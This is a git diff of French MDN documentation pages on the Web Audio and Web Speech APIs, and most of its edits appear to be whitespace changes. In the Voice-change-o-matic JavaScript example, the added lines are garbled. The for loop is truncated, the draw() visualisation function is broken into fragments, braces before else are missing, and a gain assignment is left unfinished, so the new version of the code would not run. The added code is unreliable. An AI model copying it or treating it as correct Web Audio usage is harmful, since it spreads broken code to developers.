remplacées par {{ anch("Audio_Workers") }}. - {{domxref("ScriptProcessorNode")}} - - : Un noeud **`ScriptProcessorNode`** permet de générer, traiter ou analyser du son avec JavaScript. C'est un module de traitement audio qui est lié à deux buffers, l'un en entrée, et l'autre en sortie. Un évènement implémentant {{domxref("AudioProcessingEvent")}} est envoyé à l'objet à chaque fois que le buffer d'entrée reçoit de nouvelles données, et le gestionnaire d'évènement prend fin lorsque les nouvelles données ont été communiquées au buffer de sortie. + - : Un noeud **`ScriptProcessorNode`** permet de générer, traiter ou analyser du son avec JavaScript. C'est un module de traitement audio qui est lié à deux buffers, l'un en entrée, et l'autre en sortie. Un évènement implémentant {{domxref("AudioProcessingEvent")}} est envoyé à l'objet à chaque fois que le buffer d'entrée reçoit de nouvelles données, et le gestionnaire d'évènement prend fin lorsque les nouvelles données ont été communiquées au buffer de sortie. - {{event("audioprocess")}} (event) - - : L'évènement `audioprocess` est émis lorsque le buffer d'entrée d'un {{domxref("ScriptProcessorNode")}} de la Web Audio API est prêt à être traité. + - : L'évènement `audioprocess` est émis lorsque le buffer d'entrée d'un {{domxref("ScriptProcessorNode")}} de la Web Audio API est prêt à être traité. - {{domxref("AudioProcessingEvent")}} - : L'objet `AudioProcessingEvent` est envoyé aux fonctions de rappel (<i lang="en">callback</i>) qui écoutent l'évènement `audioprocess`. ### Traitement audio hors ligne ou en tâche de fond -Il est possible de traiter et exporter un graphe audio très rapidement en tâche de fond — en l'exportant dans un {{domxref("AudioBuffer")}} plutôt que sur les enceintes du matériel — grâce aux objets suivants. +Il est possible de traiter et exporter un graphe audio très rapidement en tâche de fond — en l'exportant dans un {{domxref("AudioBuffer")}} plutôt que sur les enceintes du matériel — grâce aux objets suivants. - {{domxref("OfflineAudioContext")}} - : Un objet **`OfflineAudioContext`** est une interface [`AudioContext`](/fr/docs/Web/API/AudioContext) qui représente un graphe de traitement audio construit à partir de nœuds audio. À la différence d'une interface `AudioContext` standard, une interface `OfflineAudioContext` n'exporte pas vraiment le son, mais le génère *aussi vite que possible* dans un buffer. - {{event("complete")}} (event) - - : Un évènement `complete` est émis lorsque le rendu d'un {{domxref("OfflineAudioContext")}} est terminé. + - : Un évènement `complete` est émis lorsque le rendu d'un {{domxref("OfflineAudioContext")}} est terminé. - {{domxref("OfflineAudioCompletionEvent")}} - : The `OfflineAudioCompletionEvent` est envoyé aux fonctions de callback qui écoutent l'évènement {{event("complete")}} event implements this interface. @@ -148,9 +148,9 @@ Les objets suivants étaient définis dans les versions précédentes de la spé ## Exemple -Cet exemple montre l'utilisation d'un grand nombre de fonctions Web Audio. La démo est disponible en ligne sur [Voice-change-o-matic](http://mdn.github.io/voice-change-o-matic/) (voir aussi le [code source complet sur Github](https://github.com/mdn/voice-change-o-matic)) —c'est une démo expérimentale d'application pour modifier la voix; baissez le son de vos enceintes pour l'utiliser, au moins au début ! +Cet exemple montre l'utilisation d'un grand nombre de fonctions Web Audio. La démo est disponible en ligne sur [Voice-change-o-matic](http://mdn.github.io/voice-change-o-matic/) (voir aussi le [code source complet sur Github](https://github.com/mdn/voice-change-o-matic)) —c'est une démo expérimentale d'application pour modifier la voix; baissez le son de vos enceintes pour l'utiliser, au moins au début ! -Les lignes qui concernent la Web Audio API sont surlignées; si vous voulez en savoir davantage sur les différentes méthodes, consultez la documentation. +Les lignes qui concernent la Web Audio API sont surlignées; si vous voulez en savoir davantage sur les différentes méthodes, consultez la documentation. ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); // définition du contexte audio @@ -167,146 +167,146 @@ var gainVolume = contexteAudio.createGain(); var filtreAccordable = contexteAudio.createBiquadFilter(); function creerCourbeDistorsion(taille) { // fonction qui crée une forme de courbe qui sera utilisée par le générateur de l'onde de distorsion - var k = typeof taille === 'number' ? taille : 50, - nombre_echantillons = 44100, - courbe = new Float32Array(nombre_echantillons), - angle = Math.PI / 180, - i = 0, - x; - for ( ; i < nombre_echantillons; ++i ) { - x = i * 2 / nombre_echantillons - 1; - courbe[i] = ( 3 + k ) * x * 20 * angle / ( Math.PI + k * Math.abs(x) ); - } - return courbe; + var k = typeof taille === 'number' ? taille : 50, + nombre_echantillons = 44100, + courbe = new Float32Array(nombre_echantillons), + angle = Math.PI / 180, + i = 0, + x; + r ( ; i < nombre_echantillons; ++i ) + x = i * 2 / nombre_echantillons - 1; + courbe[i] = ( 3 + k ) * x * 20 * angle / ( Math.PI + k * Math.abs(x) ); + } + return courbe; }; navigator.getUserMedia ( - // contraintes - uniquement audio dans cet exemple - { - audio: true - }, - - // callback de succès - function(flux) { - source = contexteAudio.createMediaStreamSource(flux); - source.connect(analyseur); - analyseur.connect(distorsion); - distorsion.connect(filtreAccordable); - filtreAccordable.connect(gainVolume); - gainVolume.connect(contexteAudio.destination); // connecte les différents noeuds de graphes audio entre eux - - genererVisualisation(flux); - voiceChange(); - - }, - - // callback d'erreur - function(err) { - console.log("L'erreur GUM suivante a eu lieu : " + err); - } + // contraintes - uniquement audio dans cet exemple + { + audio: true + }, + + // callback de succès + function(flux) { + source = contexteAudio.createMediaStreamSource(flux); + source.connect(analyseur); + analyseur.connect(distorsion); + distorsion.connect(filtreAccordable); + filtreAccordable.connect(gainVolume); + gainVolume.connect(contexteAudio.destination); // connecte les différents noeuds de graphes audio entre eux + + genererVisualisation(flux); + voiceChange(); + + }, + + // callback d'erreur + function(err) { + console.log("L'erreur GUM suivante a eu lieu : " + err); + } ); function genererVisualisation(flux) { - const LARGEUR = canvas.width; - const HAUTEUR = canvas.height; - - var parametreVisualisation = visualisationSelectionnee.value; - console.log(parametreVisualisation); - - if(parametreVisualisation == "sinewave") { - analyseur.fftSize = 2048; - var tailleBuffer = analyseur.frequencyBinCount; // la moitié de la valeur FFT (Transformation de Fourier rapide) - var tableauDonnees = new Uint8Array(tailleBuffer); // crée un tableau pour stocker les données - - canvasCtx.clearRect(0, 0, LARGEUR, HAUTEUR); - - function draw() { - - renduVisuel = requestAnimationFrame(draw); - - analyseur.getByteTimeDomainData(tableauDonnees); // récupère les données de l'onde de forme et les met dans le tableau créé - - canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // dessine une onde dans le canvas - canvasCtx.fillRect(0, 0, LARGEUR, HAUTEUR); - - canvasCtx.lineWidth = 2; - canvasCtx.strokeStyle = 'rgb(0, 0, 0)'; - - canvasCtx.beginPath(); - - var sliceWidth = LARGEUR * 1.0 / tailleBuffer; - var x = 0; - - for(var i = 0; i < tailleBuffer; i++) { - - var v = tableauDonnees[i] / 128.0; - var y = v * HAUTEUR/2; - - if(i === 0) { - canvasCtx.moveTo(x, y); - } else { - canvasCtx.lineTo(x, y); - } - - x += sliceWidth; - } - - canvasCtx.lineTo(canvas.width, canvas.height/2); - canvasCtx.stroke(); - }; - - draw(); - - } else if(parametreVisualisation == "off") { - canvasCtx.clearRect(0, 0, LARGEUR, HAUTEUR); - canvasCtx.fillStyle = "red"; - canvasCtx.fillRect(0, 0, LARGEUR, HAUTEUR); - } + const LARGEUR = canvas.width; + const HAUTEUR = canvas.height; + + var parametreVisualisation = visualisationSelectionnee.value; + console.log(parametreVisualisation); + + if(parametreVisualisation == "sinewave") { + analyseur.fftSize = 2048; + var tailleBuffer = analyseur.frequencyBinCount; // la moitié de la valeur FFT (Transformation de Fourier rapide) + var tableauDonnees = new Uint8Array(tailleBuffer); // crée un tableau pour stocker les données + + canvasCtx.clearRec + + function draw() { + + renduVisuel = + + analyseur.getByteTi + + canvasCtx.fillStyle + canvas + + canvasCtx.lineWidth + can + + canvasCtx.beginPath + + var sliceWi + var + + fo + + + + + + + + canvasCtx.line + + + x += sliceWidth; + } + + + c + }; + + draw(); + + } else if(parametreVisualisation == "off") { + canvasCtx.clearRect(0, 0, LARGEUR, HAUTEUR); + canvasCtx.fillStyle = "red"; + canvasCtx.fillRect(0, 0, LARGEUR, HAUTEUR); + } } function modifierVoix() { - distorsion.curve = new Float32Array; - filtreAccordable.gain.value = 0; // reset les effets à chaque fois que la fonction modifierVoix est appelée - - var choixVoix = voixSelectionnee.value; - console.log(choixVoix); - - if(choixVoix == "distortion") { - distorsion.curve = creerCourbeDistorsion(400); // applique la distorsion au son en utilisant le noeud d'onde de forme - } else if(choixVoix == "biquad") { - filtreAccordable.type = "lowshelf"; - filtreAccordable.frequency.value = 1000; - filtreAccordable.gain.value = 25; // applique le filtre lowshelf aux sons qui utilisent le filtre accordable - } else if(choixVoix == "off") { - console.log("Choix de la voix désactivé"); // ne fait rien, quand l'option off est sélectionnée - } + distorsion.curve = new Float32Array; + filtreAccordable.gain.value = 0; // reset les effets à chaque fois que la fonction modifierVoix est appelée + + var choixVoix = voixSelectionnee.value; + console.log(choixVoix); + + if(choixVoix == "distortion") { + distorsion.curve = creerCourbeDistorsion(400); // applique la distorsion au son en utilisant le noeud d'onde de forme + else if(choixVoix == "biquad") { + filtreAccordable.type = "lowshelf"; + filtreAccordable.frequency.value = 1000; + filtreAccordable.gain.value = 25; // applique le filtre lowshelf aux sons qui utilisent le filtre accordable + } else if(choixVoix == "off") { + console.log("Choix de la voix désactivé"); // ne fait rien, quand l'option off est sélectionnée + } } // écouteurs d'évènements pour les changements de visualisation et de voix visualisationSelectionnee.onchange = function() { - window.cancelAnimationFrame(renduVisuel); - genererVisualisation(flux); + window.cancelAnimationFrame(renduVisuel); + genererVisualisation(flux); } voixSelectionnee.onchange = function() { - modifierVoix(); + modifierVoix(); } silence.onclick = muterVoix; function muterVoix() { // allumer / éteindre le son - if(silence.id == "") { - gainVolume.gain.value = 0; // gain à 0 pour éteindre le son - silence.id = "activated"; - silence.innerHTML = "Unmute"; - } else { - gainVolume.gain.value = 1; // gain à 1 pour allumer le son - silence.id = ""; - silence.innerHTML = "Mute"; - } + if(silence.id == "") { + gainVolume.gain.value = 0; // gain à 0 pour éteindre le son + silence.id = "activated"; + silence.innerHTML = "Unmute"; + else { + gainVolume.gain. + silence.id = ""; + silence.innerHTML = "Mute"; + } } ``` @@ -336,7 +336,7 @@ function muterVoix() { // allumer / éteindre le son ### Guides -- [Les concepts de base de la Web Audio API](/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API) +- [Les concepts de base de la Web Audio API](/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API) - [Utiliser la Web Audio API](/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API) - [Visualizations with Web Audio API](/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API) - [Web audio spatialisation basics](/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics) diff --git a/files/fr/web/api/web_audio_api/using_web_audio_api/index.md b/files/fr/web/api/web_audio_api/using_web_audio_api/index.md index 59727d0cbc..ecfe9c7732 100644 --- a/files/fr/web/api/web_audio_api/using_web_audio_api/index.md +++ b/files/fr/web/api/web_audio_api/using_web_audio_api/index.md @@ -7,13 +7,13 @@ La [Web Audio API](/en-US/docs/Web_Audio_API) offre un méchanisme à la fois si La Web Audio API ne vient pas remplacer l'élément [\<audio>](/en-US/docs/Web/HTML/Element/audio), mais plutôt le compléter, de même que l'API Canvas 2D coexiste avec l'élément [\<video>](/en-US/docs/Web/HTML/Element/Img). Si vous avez seulement besoin de contrôler la lecture d'un fichier audio, \<audio> est probablement une meilleure solution, plus rapide. Si vous voulez procéder à un traitement audio plus complexe et à la lecture d'une source, la Web Audio API offre davantage de possibilités en termes de puissance et de contrôle. -L'une des particularités de la Web Audio API est qu'elle n'a pas de limites au niveau de la programmation du son. Par exemple, le nombre de sons que l'on peut appeler en même temps n'est pas plafonnée. Certains processeurs sont potentiellement capables de jouer plus d'un millier de sons simultanément sans saccades. +L'une des particularités de la Web Audio API est qu'elle n'a pas de limites au niveau de la programmation du son. Par exemple, le nombre de sons que l'on peut appeler en même temps n'est pas plafonnée. Certains processeurs sont potentiellement capables de jouer plus d'un millier de sons simultanément sans saccades. ## Exemples Afin d'expliquer l'utilisation de la Web Audio API, nous avons créé un certain nombre d'exemples qui seront étoffés au fur et à mesure. N'hésitez pas à en ajouter d'autres et à suggérer des améliorations ! -Notre premier exemple est [Voice-change-O-matic](http://github.com/mdn/voice-change-o-matic), une application web de déformation de la voix, qui permet de choisir différents effets et modes de visualisation. Cette application est rudimentaire, mais elle permet de montrer l'utilisation de plusieurs fonctionnalités de la Web Audio API combinées ensemble ([run the Voice-change-O-matic live](http://mdn.github.io/voice-change-o-matic/)). +Notre premier exemple est [Voice-change-O-matic](http://github.com/mdn/voice-change-o-matic), une application web de déformation de la voix, qui permet de choisir différents effets et modes de visualisation. Cette application est rudimentaire, mais elle permet de montrer l'utilisation de plusieurs fonctionnalités de la Web Audio API combinées ensemble ([run the Voice-change-O-matic live](http://mdn.github.io/voice-change-o-matic/)).  @@ -23,12 +23,12 @@ Notre premier exemple est [Voice-change-O-matic](http://github.com/mdn/voice-cha La Web Audio API impliqe de réaliser les opérations de traitement audio dans un **contexte audio**, et elle a été conçue pour permettre le **routage modulaire**. Les opérations de traitement de base sont réalisées par des **noeuds audio**, qui sont reliés entre eux pour former un **graphe de routage audio**. Plusieurs sources — avec différentes configuration de canaux — peuvent cohabiter dans un seul contexte. Ce design modulaire offre la flexibilité nécessaire pour créer des fonctions complexes avec des effets dynamiques. -Les noeuds audio sont reliés au niveau de leurs entrées et sorties. Ils forment une chaîne qui commence avec une ou plusieurs sources, traverse un ou plusieurs noeuds de traitement, et se termine par une destination (bien qu'il ne soit pas néessaire d'avoir une destination si l'on souhaite simplement visualiser des données audio). Un scénario simple, représentatif de la Web Audio API, pourrait ressembler à ceci : +Les noeuds audio sont reliés au niveau de leurs entrées et sorties. Ils forment une chaîne qui commence avec une ou plusieurs sources, traverse un ou plusieurs noeuds de traitement, et se termine par une destination (bien qu'il ne soit pas néessaire d'avoir une destination si l'on souhaite simplement visualiser des données audio). Un scénario simple, représentatif de la Web Audio API, pourrait ressembler à ceci : -1. Création d'un contexte audio -2. Dans ce contexte, création des sources — telles que `<audio>`, oscillateur, flux -3. Création des noeuds d'effets, tels que réverb, filtres biquad, balance, compresseur -4. Choix final de la sortie audio, par exemple les enceintes du système +1. Création d'un contexte audio +2. Dans ce contexte, création des sources — telles que `<audio>`, oscillateur, flux +3. Création des noeuds d'effets, tels que réverb, filtres biquad, balance, compresseur +4. Choix final de la sortie audio, par exemple les enceintes du système 5. Connection des sources aux effets, et des effets à la sortie. ### Création d'un contexte audio @@ -98,7 +98,7 @@ Ce code créerait le graphe audio suivant : Il est possible de connecter plusieurs noeuds à un seul noeud, par exemple pour mixer plusieurs sources ensemble, et les passer dans un seul noeud d'effet, tel qu'un noeud de gain. -> **Note :** Depuis Firefox 32, les outils de développement intégrés incluent un [éditeur audio](/en-US/docs/Tools/Web_Audio_Editor), très utile pour débugger les graphes audio. +> **Note :** Depuis Firefox 32, les outils de développement intégrés incluent un [éditeur audio](/en-US/docs/Tools/Web_Audio_Editor), très utile pour débugger les graphes audio. ### Lecture du son et définition du pitch @@ -241,7 +241,7 @@ function genererCourbeDistortion(amount) { }; ``` -L'exemple suivant, qui vient de [Voice-change-O-matic](https://github.com/mdn/voice-change-o-matic), connecte un noeud de `distortion` à un graphe audio, puis applique l'algorithme de forme d'onde précédent au noeud de distortion : +L'exemple suivant, qui vient de [Voice-change-O-matic](https://github.com/mdn/voice-change-o-matic), connecte un noeud de `distortion` à un graphe audio, puis applique l'algorithme de forme d'onde précédent au noeud de distortion : ```js source.connect(analyser); diff --git a/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.md b/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.md index 872fce40bf..b39cbc986d 100644 --- a/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.md +++ b/files/fr/web/api/web_audio_api/visualizations_with_web_audio_api/index.md @@ -27,15 +27,15 @@ analyseur.connect(distortion); > **Note :** il n'est pas nécessaire de connecter la sortie de l'analyseur à un noeud pour qu'il fonctionne, il suffit que l'entrée soit connectée à la source, directement ou via un autre noeud. -L'analyseur va alors capturer les données audio en usant une Transformation de Fourier Rapide (fft) à une certaine fréquence, en fonction de ce qui est spécifié dans la propriété {{ domxref("AnalyserNode.fftSize") }} (la valeur par défaut est 2048). +L'analyseur va alors capturer les données audio en usant une Transformation de Fourier Rapide (fft) à une certaine fréquence, en fonction de ce qui est spécifié dans la propriété {{ domxref("AnalyserNode.fftSize") }} (la valeur par défaut est 2048). > **Note :** Vous pouvez aussi spécifier des valeurs de puissance minimum et maximum pour la plage de mise à l'échelle fft, en utilisant {{ domxref("AnalyserNode.minDecibels") }} et {{ domxref("AnalyserNode.maxDecibels") }}, et plusieurs valeurs de transition en utilisant {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Pour capturer des données, il faut utiliser les méthodes {{ domxref("AnalyserNode.getFloatFrequencyData()") }} et {{ domxref("AnalyserNode.getByteFrequencyData()") }} pour la fréquence, et {{ domxref("AnalyserNode.getByteTimeDomainData()") }} et {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} pour la forme d'onde. -Ces méthodes copient les données dans le tableau passé en paramètre, il faut donc créer un tableau avant de les invoquer. La première produit des nombres flottants à simple précision de 32 bits, qui ne peuvent être stockées dans un simple tableau javascript. Vous devez créer un domxref("Float32Array") }} ou un {{ domxref("Uint8Array") }}, en fonction du type de données que vous traitez. +Ces méthodes copient les données dans le tableau passé en paramètre, il faut donc créer un tableau avant de les invoquer. La première produit des nombres flottants à simple précision de 32 bits, qui ne peuvent être stockées dans un simple tableau javascript. Vous devez créer un domxref("Float32Array") }} ou un {{ domxref("Uint8Array") }}, en fonction du type de données que vous traitez. -Par exemple, disons que nous manipulons une fft de fréquence 2048. Nous retournons la valeur {{ domxref("AnalyserNode.frequencyBinCount") }}, qui correspond à la moitié de la fréquence, puis nous appelons la méthode Uint8Array() en passant frequencyBinCount comme argument pour la taille — c'est le nombre de points de données qui seront collectées pour cette fréquence. +Par exemple, disons que nous manipulons une fft de fréquence 2048. Nous retournons la valeur {{ domxref("AnalyserNode.frequencyBinCount") }}, qui correspond à la moitié de la fréquence, puis nous appelons la méthode Uint8Array() en passant frequencyBinCount comme argument pour la taille — c'est le nombre de points de données qui seront collectées pour cette fréquence. ```js analyseur.fftSize = 2048; diff --git a/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.md b/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.md index 11b0bd0c22..320e66a578 100644 --- a/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.md +++ b/files/fr/web/api/web_audio_api/web_audio_spatialization_basics/index.md @@ -18,9 +18,9 @@ Dans cet article nous allons nous concentrer sur la position de l'auditeur et du > **Note :** Trouver les bonnes valeurs pour que le cas d'utilisation fonctionne bien et semble réaliste n'est pas toujours évident et peur prendre du temps, et il faut souvent continuer à modifier les valeurs par la suite. Nous discuterons ceci plus en détail en parcourant le code qui suit. -Les autres options disponibles, que nous ne traiterons pas ici, sont : +Les autres options disponibles, que nous ne traiterons pas ici, sont : -- `setOrientation()`: disponible à la fois pour l'auditeur et le panoramique for both the listener and panner, cette méthode paramètre l'orientation. Elle prend six valeurs: les trois premières représentent un vecteur frontal dans l'espace 3D (imaginez une personne et la direction dans laquelle pointe son nez) and les trois autre un vecteur de direction verticale dans l'espace 3D space (imaginez la même personne et la direction vers laquelle pointe le haut de sa tête) +- `setOrientation()`: disponible à la fois pour l'auditeur et le panoramique for both the listener and panner, cette méthode paramètre l'orientation. Elle prend six valeurs: les trois premières représentent un vecteur frontal dans l'espace 3D (imaginez une personne et la direction dans laquelle pointe son nez) and les trois autre un vecteur de direction verticale dans l'espace 3D space (imaginez la même personne et la direction vers laquelle pointe le haut de sa tête) - `setVelocity()`: disponible uniquement pour le panoramique; permet de paramétrer la vitesse à laquelle une source audio se déplace, à l'aide d'un vecteur de vitesse dans l'espace 3D (valeurs X, Y, et Z). When set, the browser will apply a doppler shift effect. - `coneInnerAngle`, `coneOuterAngle`, and `coneOuterGain`: Available for the panner only, these allow you to set an angle inside/outside of which the volume will be reduced by the specified gain value. This is done to specify directional audio sources, but the default is 360/360/0, respectively, meaning that by default you get an omnidirectional sound source. diff --git a/files/fr/web/api/web_speech_api/index.md b/files/fr/web/api/web_speech_api/index.md index 7b43fa3975..a625e2aea0 100644 --- a/files/fr/web/api/web_speech_api/index.md +++ b/files/fr/web/api/web_speech_api/index.md @@ -11,68 +11,68 @@ translation_of: Web/API/Web_Speech_API --- {{DefaultAPISidebar("Web Speech API")}}{{seecompattable}} -L'API <i lang="en">Web Speech</i> permet d'intégrer des données liées à la voix dans des applications web. L'API <i lang="en">Web Speech</i> se compose de deux parties : <i lang="en">SpeechSynthesis</i> (synthèse vocale) et <i lang="en">SpeechRecognition</i> (reconnaissance vocale asynchrone). +L'API <i lang="en">Web Speech</i> permet d'intégrer des données liées à la voix dans des applications web. L'API <i lang="en">Web Speech</i> se compose de deux parties : <i lang="en">SpeechSynthesis</i> (synthèse vocale) et <i lang="en">SpeechRecognition</i> (reconnaissance vocale asynchrone). ## Concepts et usages de l'API Web Speech L'API <i lang="en">Web Speech</i> rend les applications web capables de manipuler des données liées à la voix. Cette API se compose de deux parties : -- La reconnaissance vocale ( +- La reconnaissance vocale ( <i lang="en">Speech recognition</i> - ) est accessible via l'interface {{domxref("SpeechRecognition")}} qui fournit la capacité de reconnaitre la voix dans une source audio (normalement grâce à l'outil par défaut de reconnaissance vocale de l'appareil) et de réagir de façon pertinente. En général, on utilisera le constructeur de l'interface pour créer un nouvel objet {{domxref("SpeechRecognition")}} qui a un nombre de gestionnaires d'événements disponibles pour détecter lorsque de la parole arrive dans le micro de l'appareil. L'interface {{domxref("SpeechGrammar")}} représente un conteneur pour une série de règles de grammaire que votre application devrait reconnaître. La grammaire est définie en utilisant [JSpeech Grammar Format](http://www.w3.org/TR/jsgf/) (**JSGF**). + ) est accessible via l'interface {{domxref("SpeechRecognition")}} qui fournit la capacité de reconnaitre la voix dans une source audio (normalement grâce à l'outil par défaut de reconnaissance vocale de l'appareil) et de réagir de façon pertinente. En général, on utilisera le constructeur de l'interface pour créer un nouvel objet {{domxref("SpeechRecognition")}} qui a un nombre de gestionnaires d'événements disponibles pour détecter lorsque de la parole arrive dans le micro de l'appareil. L'interface {{domxref("SpeechGrammar")}} représente un conteneur pour une série de règles de grammaire que votre application devrait reconnaître. La grammaire est définie en utilisant [JSpeech Grammar Format](http://www.w3.org/TR/jsgf/) (**JSGF**). -- La synthèse vocale ( +- La synthèse vocale ( <i lang="en">Speech synthesis</i> - ) est disponible via l'interface {{domxref("SpeechSynthesis")}}, un composant qui permet aux programmes de vocaliser leur contenu textuel (normalement grâce au synthétiseur vocal par défaut de l'appareil). Differents types de voix sont disponibles dans les objets {{domxref("SpeechSynthesisVoice")}}, et les différentes parties de texte à vocaliser sont interprétés par les objets {{domxref("SpeechSynthesisUtterance")}}. On peut les faire vocaliser en les passant à la méthode {{domxref("SpeechSynthesis.speak()")}}. + ) est disponible via l'interface {{domxref("SpeechSynthesis")}}, un composant qui permet aux programmes de vocaliser leur contenu textuel (normalement grâce au synthétiseur vocal par défaut de l'appareil). Differents types de voix sont disponibles dans les objets {{domxref("SpeechSynthesisVoice")}}, et les différentes parties de texte à vocaliser sont interprétés par les objets {{domxref("SpeechSynthesisUtterance")}}. On peut les faire vocaliser en les passant à la méthode {{domxref("SpeechSynthesis.speak()")}}. -Pour plus de détails concernant ces fonctionnalités, voir [Using the Web Speech API.](/fr/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API) +Pour plus de détails concernant ces fonctionnalités, voir [Using the Web Speech API.](/fr/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API) ## Les interfaces de l'API Web Speech ### Le reconnaissance vocale - {{domxref("SpeechRecognition")}} - - : L'interface de contrôle de l'outil de reconnaissance; elle traite aussi le {{domxref("SpeechRecognitionEvent")}} reçu de l'outil de reconnaissance. + - : L'interface de contrôle de l'outil de reconnaissance; elle traite aussi le {{domxref("SpeechRecognitionEvent")}} reçu de l'outil de reconnaissance. - {{domxref("SpeechRecognitionAlternative")}} - : Représente un mot unique qui a été reconnu par l'outil de reconnaissane vocale. - {{domxref("SpeechRecognitionError")}} - : Répresente les messages d'erreur de l'outil de reconnaissance vocale. - {{domxref("SpeechRecognitionEvent")}} - - : L'objet événement pour les événements {{event("result")}} et {{event("nomatch")}}, et contient toutes les données associées avec un résultat de reconnaissance vocale intermédiaire ou définitif. + - : L'objet événement pour les événements {{event("result")}} et {{event("nomatch")}}, et contient toutes les données associées avec un résultat de reconnaissance vocale intermédiaire ou définitif. - {{domxref("SpeechGrammar")}} - : Les mots ou schémas de mots que l'on demande à l'outil de reconnaissance vocale de reconnaître. - {{domxref("SpeechGrammarList")}} - - : Répresente une liste des objets {{domxref("SpeechGrammar")}}. + - : Répresente une liste des objets {{domxref("SpeechGrammar")}}. - {{domxref("SpeechRecognitionResult")}} - - : Répresente une unique reconnaissance réussie, qui peut contenir plusieurs objets {{domxref("SpeechRecognitionAlternative")}}. + - : Répresente une unique reconnaissance réussie, qui peut contenir plusieurs objets {{domxref("SpeechRecognitionAlternative")}}. - {{domxref("SpeechRecognitionResultList")}} - - : Répresente une liste d'objets {{domxref("SpeechRecognitionResult")}}, ou bien un seul si les résultats sont récupérés en mode {{domxref("SpeechRecognition.continuous","continuous")}}. + - : Répresente une liste d'objets {{domxref("SpeechRecognitionResult")}}, ou bien un seul si les résultats sont récupérés en mode {{domxref("SpeechRecognition.continuous","continuous")}}. ### La synthèse vocale - {{domxref("SpeechSynthesis")}} - : L'interface de contrôle de l'outil de vocalisation; elle peut être utiliser pour rechercher des informations concernant les voix de synthèse disponible dans l'appareil, le démarrage et l'interruption de la vocalisation, et les commandes complémentaires. - {{domxref("SpeechSynthesisErrorEvent")}} - - : Contient les informations concernant toutes les erreurs qui se produisent pendant le traitement des objets {{domxref("SpeechSynthesisUtterance")}} dans l'outil de synthèse vocale. + - : Contient les informations concernant toutes les erreurs qui se produisent pendant le traitement des objets {{domxref("SpeechSynthesisUtterance")}} dans l'outil de synthèse vocale. - {{domxref("SpeechSynthesisEvent")}} - - : Contient les informations concernant l'état actuel des objets {{domxref("SpeechSynthesisUtterance")}} qui ont été traités par l'outil de synthèse vocale. + - : Contient les informations concernant l'état actuel des objets {{domxref("SpeechSynthesisUtterance")}} qui ont été traités par l'outil de synthèse vocale. - {{domxref("SpeechSynthesisUtterance")}} - : Répresente une requête de synthèse vocale. Il contient le contenu que l'outil de synthèse vocale devrait vocaliser et les informations sur comment le vocaliser (e.g. langue, ton et volume). <!----> - {{domxref("SpeechSynthesisVoice")}} - - : Représente une voix qui est supportée par le système. Chaque `SpeechSynthesisVoice` a son propre outil de synthèse vocale incluant les informations concernant la langue, le nom et l'URI. + - : Représente une voix qui est supportée par le système. Chaque `SpeechSynthesisVoice` a son propre outil de synthèse vocale incluant les informations concernant la langue, le nom et l'URI. - {{domxref("Window.speechSynthesis")}} - - : Spécifiée comme une partie de l'interface `[NoInterfaceObject]` intitulée `SpeechSynthesisGetter`, et implémentée par l'objet `Window`, la propriété `speechSynthesis` fournit l'accès au controleur {{domxref("SpeechSynthesis")}}, et de ce fait un point d'entrée à la fonctionnalité de synthèse vocale. + - : Spécifiée comme une partie de l'interface `[NoInterfaceObject]` intitulée `SpeechSynthesisGetter`, et implémentée par l'objet `Window`, la propriété `speechSynthesis` fournit l'accès au controleur {{domxref("SpeechSynthesis")}}, et de ce fait un point d'entrée à la fonctionnalité de synthèse vocale. ## Exemples -Le [Web Speech API repo](https://github.com/mdn/web-speech-api/) sur GitHub contient des démos qui illustrent la reconnaissance vocale et la synthèse vocale. +Le [Web Speech API repo](https://github.com/mdn/web-speech-api/) sur GitHub contient des démos qui illustrent la reconnaissance vocale et la synthèse vocale. ## Spécifications diff --git a/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.md b/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.md index c09db4c4fd..2dfc00f16d 100644 --- a/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.md +++ b/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.md @@ -18,13 +18,13 @@ L'API Web Speech fournit deux fonctionnalités différentes — la reconnaissanc La reconnaissance vocale implique de recevoir de la voix à travers un dispositif de capture du son, tel qu'un microphone, qui est ensuite vérifiée par un service de reconnaissance vocale utilisant une "grammaire" (le vocabulaire que vous voulez faire reconnaître par une application donnée). Quand un mot ou une phrase sont reconnus avec succès, ils sont retournés comme résultat (ou une liste de résultats) sous la forme d'une chaîne de caractères, et d'autres actions peuvent être initiées à la suite de ce résultat. -L'API Web Speech a une interface principale de contrôle — {{domxref("SpeechRecognition")}} — plus un nombre d'interfaces inter-reliées pour représenter une grammaire, des résultats, etc. Généralement, le système de reconnaissance vocale par défaut disponible sur le dispositif matériel sera utilisé pour la reconnaissance vocale — la plupart des systèmes d'exploitation modernes ont un système de reonnaissance vocale pour transmettre des commandes vocales. On pense à Dictation sur macOS, Siri sur iOS, Cortana sur Windows 10, Android Speech, etc. +L'API Web Speech a une interface principale de contrôle — {{domxref("SpeechRecognition")}} — plus un nombre d'interfaces inter-reliées pour représenter une grammaire, des résultats, etc. Généralement, le système de reconnaissance vocale par défaut disponible sur le dispositif matériel sera utilisé pour la reconnaissance vocale — la plupart des systèmes d'exploitation modernes ont un système de reonnaissance vocale pour transmettre des commandes vocales. On pense à Dictation sur macOS, Siri sur iOS, Cortana sur Windows 10, Android Speech, etc. > **Note :** Sur certains navigateurs, comme Chrome, utiliser la reconnaissance vocale sur une page web implique de disposer d'un moteur de reconnaissance basé sur un serveur. Votre flux audio est envoyé à un service web pour traitement, le moteur ne fonctionnera donc pas hors ligne. ### Demo 